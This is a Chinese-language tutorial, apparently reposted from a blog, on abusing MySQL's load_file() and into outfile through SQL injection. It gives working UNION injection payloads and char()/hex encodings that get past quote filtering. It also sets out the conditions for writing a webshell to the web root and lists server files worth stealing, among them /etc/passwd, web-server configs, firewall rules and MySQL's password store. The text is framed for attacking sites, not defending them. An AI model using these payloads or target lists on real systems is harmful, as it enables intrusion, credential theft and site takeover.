mysql load_file在數據庫注入中使用


load_file函數只有滿足兩個條件就可以使用:

1、文件權限:chmod a+x pathtofile

2、文件大小: 必須小於max_allowed_packet


 

例子:

select load_file('D:\xampp\htdocs\www\wanju\htaccess.txt')

select load_file('/etc/hosts')

例如上面的例子是有條件限制的:

1、必須有權限讀取並且文件必須完全可讀。

   and (select count(*) from mysql.user)>0 /*如果結果返回正常,說明具有讀寫權限.*/

   and (select count(*) from mysql.user)>0 /* 返回錯誤,應該是管理員給數據庫賬戶降權了*/

2、欲讀取文件必須在服務器上

3、必須指定文件完整的路徑

4、欲讀取文件必須小於max_allowed_packet

  如果該文件不存在,或因為上面的任一原因而不能被讀出,函數返回空。比較難滿足的就是權限。

在windows下,如果NTFS設置得當,是不能讀取相關的文件的,當遇到administrators才能訪問的文件,

users就不能實現用load_file讀取文件了。


在實際的注入中,我們有兩個難點需要解決:

1、絕對物理路徑。

2、構造有效的畸形語句。

   在很多PHP程序中,當提交一個錯誤的查詢時,如果display_errors=on,程序就會暴露web目錄的絕對路徑,只有知道

路徑,那么對於一個可以注入的PHP程序來說,整個服務器的安全將受到嚴重的威脅。


 

利用:

  我們假設一個程序的SQL語句如下:

select * from article where articleid=$id   (當前條件:magic_quotes_gpc = off, c:/boot.ini可讀)

此時,我們構造$id為:

-1 union select 1,1,1,1,load_file('c:/boot.ini')

我們的查詢語句就變成:

select * from article where articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')

程序就會把c:/boot.ini內容老老實實顯示出來,但是現在magic_quotes_gpc=off的主機少之又少,怎么才能構造處沒有

引號的語句呢?

看過<<SQL Injection with MySQL>>的朋友肯定知道用char()函數或者把字符轉換成16進制。

注:當前條件為magic_quotes_gpc=on, c:/boot.ini可讀。

我們構造$id為:

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

"char(99,58,47,98,111,111,116,46,105,110,105)"就是“c:/boot.ini"的ASCII代碼。

我們的查詢語句就變成:

select * from article where articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

這樣我們也可以成功讀取boot.ini文件,還有把字符轉換為16進制的:

"c:/boot.ini"的十六進制是"0x633a2f626f6f742e696e69",所以上面的語句就變成:

select * from article where articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

當然,在實際應用中,由於種種條件限制,文件的內容未必會顯示出來,我們可以用into outfile把文件導出。


關於mysql into outfile注射,要使用into outfile 把代碼寫到web目錄取得webshell首先需要3大先天條件:

1、知道物理路徑(into outfule '物理路徑'), 這樣才能寫對目錄。

2、能夠使用union (需要mysql 3以上的版本)

3、對方沒有對(')進行過濾(因為outfile后面的('')不可以用其他函數代替轉換)

后天條件需要二個:

1、就是mysql用戶擁有file_priv權限(不然就不能寫文件或讀文件)

2、對web目錄有寫權限MS的系統就不說了,一般都會有權限的,但是*nix的系統,通常都是rwxr-xr-x,也就是

     說組跟其他用戶都沒有權限寫操作,所以,要滿足這5大條件還是蠻高難度的。


 

mysql的load_file()常見的用法:

1、replace(load_file(0×2F6574632F706173737764), 0x3c, 0x20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面兩個是查看一些php文件里完全顯示代碼。有些時候不替換一些字符,如"<"替換成"空格",返回的是網頁。

而無法查看到代碼。

3、load_file(char(47))可以列出FreeBSD, Sunos系統根目錄。

4、/etc/httpd/conf/httpd.conf或者/usr/local/apache/conf/httpd.conf查看linux apache虛擬主機配置文件。

5、c:/Program Files/Apache Group/Apache/conf/httpd.conf或c:/apache/conf/httpd.conf 查看windows系統

  apache文件。

6、c:/Resin-3.0.14/conf/resin.conf 或c:/Resin/conf/resin.conf 查看jsp開發網站的resin文件配置信息。

7、/usr/local/resin/conf/resin.cof   查看linux系統配置的JSP虛擬主機

8、d:/apache/apache2/conf/httpd.conf

9、c:/Program Files/mysql.my.ini

10、../themes/darkblue_orange/layout.inc.php    phpmyadmin 爆路徑

11、c:/windows/system32/inetsrv/MetaBase.xml  查看IIS的虛擬主機配置文件

12、/usr/local/resin-3.0.22/conf/resin.conf   或/usr/local/resin-pro-3.0.22/conf/resin.conf  針對3.0.22的RESIN配置文件查看

13、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虛擬主機查看

14、/etc/sysconfig/iptables 查看防火牆策略

15、usr/local/app/php5/lib/php.ini    PHP 的設置

16、/etc/my.cnf    MYSQL的配置文件

17、/etc/redhat-release 紅帽子的系統版本

18、c:/mysql/data/mysql/user.MYD  存在MYSQL系統中的用戶密碼

19、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.

20、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf    虛擬網站設置

21、c:/windows/my.ini

 

 

參考連接:https://m.aliyun.com/yunqi/ziliao/22820 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM